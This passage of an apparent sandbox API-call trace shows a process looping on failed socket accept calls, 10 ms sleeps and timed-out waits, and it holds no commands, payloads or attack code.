addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.833] Sleep (dwMilliseconds=0xa) [0118.901] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.938] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.938] Sleep (dwMilliseconds=0xa) [0118.967] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0118.991] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0118.991] Sleep (dwMilliseconds=0xa) [0119.036] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.065] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.065] Sleep (dwMilliseconds=0xa) [0119.067] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.130] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.130] Sleep (dwMilliseconds=0xa) [0119.192] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.296] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.296] Sleep (dwMilliseconds=0xa) [0119.372] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.385] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.385] Sleep (dwMilliseconds=0xa) [0119.395] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.426] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.426] Sleep (dwMilliseconds=0xa) [0119.441] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.487] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.487] Sleep (dwMilliseconds=0xa) [0119.566] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.593] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.593] Sleep (dwMilliseconds=0xa) [0119.597] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.613] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.613] Sleep (dwMilliseconds=0xa) [0119.628] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.644] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.644] Sleep (dwMilliseconds=0xa) [0119.660] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.675] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.675] Sleep (dwMilliseconds=0xa) [0119.691] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.740] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.741] Sleep (dwMilliseconds=0xa) [0119.785] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.801] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.801] Sleep (dwMilliseconds=0xa) [0119.894] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0119.987] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0119.987] Sleep (dwMilliseconds=0xa) [0120.034] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.081] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.081] Sleep (dwMilliseconds=0xa) [0120.128] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.208] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.208] Sleep (dwMilliseconds=0xa) [0120.221] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.237] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.237] Sleep (dwMilliseconds=0xa) [0120.252] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.268] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.268] Sleep (dwMilliseconds=0xa) [0120.284] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.302] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.302] Sleep (dwMilliseconds=0xa) [0120.315] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.362] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.362] Sleep (dwMilliseconds=0xa) [0120.382] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.434] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.434] Sleep (dwMilliseconds=0xa) [0120.471] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.643] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.643] Sleep (dwMilliseconds=0xa) [0120.745] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.788] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.788] Sleep (dwMilliseconds=0xa) [0120.839] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.879] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.879] Sleep (dwMilliseconds=0xa) [0120.895] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.928] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.928] Sleep (dwMilliseconds=0xa) [0120.955] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0120.970] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0120.970] Sleep (dwMilliseconds=0xa) [0120.986] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.002] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.002] Sleep (dwMilliseconds=0xa) [0121.017] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.032] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.032] Sleep (dwMilliseconds=0xa) [0121.048] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.111] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.111] Sleep (dwMilliseconds=0xa) [0121.128] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.142] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.142] Sleep (dwMilliseconds=0xa) [0121.157] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.173] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.173] Sleep (dwMilliseconds=0xa) [0121.189] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.204] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.205] Sleep (dwMilliseconds=0xa) [0121.224] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.275] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.275] Sleep (dwMilliseconds=0xa) [0121.295] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.298] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.298] Sleep (dwMilliseconds=0xa) [0121.313] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.329] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.329] Sleep (dwMilliseconds=0xa) [0121.345] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.361] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.361] Sleep (dwMilliseconds=0xa) [0121.410] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.516] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.516] Sleep (dwMilliseconds=0xa) [0121.570] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.610] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.610] Sleep (dwMilliseconds=0xa) [0121.656] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.750] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.750] Sleep (dwMilliseconds=0xa) [0121.844] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0121.944] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0121.944] Sleep (dwMilliseconds=0xa) [0122.019] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.109] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.109] Sleep (dwMilliseconds=0xa) [0122.160] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.187] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.187] Sleep (dwMilliseconds=0xa) [0122.202] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.218] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.218] Sleep (dwMilliseconds=0xa) [0122.234] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.249] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.249] Sleep (dwMilliseconds=0xa) [0122.265] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.312] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.312] Sleep (dwMilliseconds=0xa) [0122.327] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.343] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.343] Sleep (dwMilliseconds=0xa) [0122.359] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.374] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.374] Sleep (dwMilliseconds=0xa) [0122.390] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.410] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.410] Sleep (dwMilliseconds=0xa) [0122.421] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.468] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.468] Sleep (dwMilliseconds=0xa) [0122.483] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.499] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.499] Sleep (dwMilliseconds=0xa) [0122.514] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.540] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.540] Sleep (dwMilliseconds=0xa) [0122.546] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.561] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.561] Sleep (dwMilliseconds=0xa) [0122.578] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.624] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.624] Sleep (dwMilliseconds=0xa) [0122.650] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.655] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.655] Sleep (dwMilliseconds=0xa) [0122.671] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.689] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.689] Sleep (dwMilliseconds=0xa) [0122.702] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.717] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.717] Sleep (dwMilliseconds=0xa) [0122.733] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.784] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.784] Sleep (dwMilliseconds=0xa) [0122.840] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.842] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.842] Sleep (dwMilliseconds=0xa) [0122.858] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.879] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.879] Sleep (dwMilliseconds=0xa) [0122.890] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0122.905] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0122.905] Sleep (dwMilliseconds=0xa) [0122.921] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.030] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.030] Sleep (dwMilliseconds=0xa) [0123.112] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.155] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.155] Sleep (dwMilliseconds=0xa) [0123.180] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.185] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.185] Sleep (dwMilliseconds=0xa) [0123.201] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.264] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.264] Sleep (dwMilliseconds=0xa) [0123.279] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.295] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.295] Sleep (dwMilliseconds=0xa) [0123.310] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.326] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.326] Sleep (dwMilliseconds=0xa) [0123.341] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.357] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.357] Sleep (dwMilliseconds=0xa) [0123.372] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.419] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.419] Sleep (dwMilliseconds=0xa) [0123.435] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.451] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.451] Sleep (dwMilliseconds=0xa) [0123.466] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.482] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.482] Sleep (dwMilliseconds=0xa) [0123.497] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.513] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.513] Sleep (dwMilliseconds=0xa) [0123.528] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.585] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.585] Sleep (dwMilliseconds=0xa) [0123.593] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.607] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.607] Sleep (dwMilliseconds=0xa) [0123.622] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.638] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.638] Sleep (dwMilliseconds=0xa) [0123.655] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.669] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.669] Sleep (dwMilliseconds=0xa) [0123.684] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.747] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.747] Sleep (dwMilliseconds=0xa) [0123.763] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.778] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.778] Sleep (dwMilliseconds=0xa) [0123.798] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.809] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.809] Sleep (dwMilliseconds=0xa) [0123.825] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.840] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.840] Sleep (dwMilliseconds=0xa) [0123.856] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.903] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.903] Sleep (dwMilliseconds=0xa) [0123.918] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.939] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.939] Sleep (dwMilliseconds=0xa) [0123.950] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.965] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.965] Sleep (dwMilliseconds=0xa) [0123.981] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0123.997] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0123.997] Sleep (dwMilliseconds=0xa) [0124.012] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.051] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.051] Sleep (dwMilliseconds=0xa) [0124.071] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.074] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.074] Sleep (dwMilliseconds=0xa) [0124.090] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.106] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.106] Sleep (dwMilliseconds=0xa) [0124.121] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.137] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.137] Sleep (dwMilliseconds=0xa) [0124.153] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.215] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.215] Sleep (dwMilliseconds=0xa) [0124.269] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.309] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.309] Sleep (dwMilliseconds=0xa) [0124.341] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.355] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.355] Sleep (dwMilliseconds=0xa) [0124.371] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.418] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.418] Sleep (dwMilliseconds=0xa) [0124.433] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.449] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.449] Sleep (dwMilliseconds=0xa) [0124.464] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.480] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.480] Sleep (dwMilliseconds=0xa) [0124.496] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.511] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.511] Sleep (dwMilliseconds=0xa) [0124.527] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.574] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.574] Sleep (dwMilliseconds=0xa) [0124.589] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.605] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.605] Sleep (dwMilliseconds=0xa) [0124.620] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.636] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.636] Sleep (dwMilliseconds=0xa) [0124.652] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.667] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.667] Sleep (dwMilliseconds=0xa) [0124.683] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.730] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.730] Sleep (dwMilliseconds=0xa) [0124.750] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.761] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: addr=0x265f0d0, addrlen=0x265f0cc) returned 0xffffffff [0124.761] Sleep (dwMilliseconds=0xa) [0124.776] WaitForSingleObject (hHandle=0x4, dwMilliseconds=0x1) returned 0x102 [0124.796] accept (in: s=0x1ac, addr=0x265f0d0, addrlen=0x265f0cc | out: 